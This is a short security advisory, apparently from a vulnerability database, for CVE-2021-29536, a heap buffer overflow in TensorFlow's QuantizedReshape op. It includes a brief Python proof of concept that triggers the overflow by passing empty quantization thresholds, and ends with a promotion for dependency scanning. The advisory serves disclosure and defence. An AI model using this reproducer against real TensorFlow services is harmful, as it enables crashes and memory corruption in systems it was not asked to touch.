CVE-2021-29536: Heap buffer overflow in `QuantizedReshape`

(updated )

An attacker can cause a heap buffer overflow in QuantizedReshape by passing in invalid thresholds for the quantization:

import tensorflow as tf

tensor = tf.constant([], dtype=tf.qint32)
shape = tf.constant([], dtype=tf.int32)
input_min = tf.constant([], dtype=tf.float32)
input_max = tf.constant([], dtype=tf.float32)

tf.raw_ops.QuantizedReshape(tensor=tensor, shape=shape, input_min=input_min, input_max=input_max)

References

Detect and mitigate CVE-2021-29536 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →